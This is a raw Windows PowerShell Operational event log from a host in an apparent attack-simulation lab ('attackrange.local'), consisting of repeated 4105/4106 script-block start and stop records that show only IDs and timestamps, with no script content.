LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043730
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043729
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043728
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043727
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043726
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043725
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043724
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043723
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043722
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043721
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043720
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043719
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043718
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043717
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043716
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043715
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043714
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043713
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043712
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043711
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043710
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043709
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043708
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043707
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043706
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043705
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043704
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043703
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043702
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043701
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043700
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043699
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043698
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043697
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043696
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043695
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043694
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043693
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043692
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043691
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043690
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043689
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043688
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043687
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043686
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043685
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043684
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043683
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043682
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043681
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043680
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043679
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043678
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
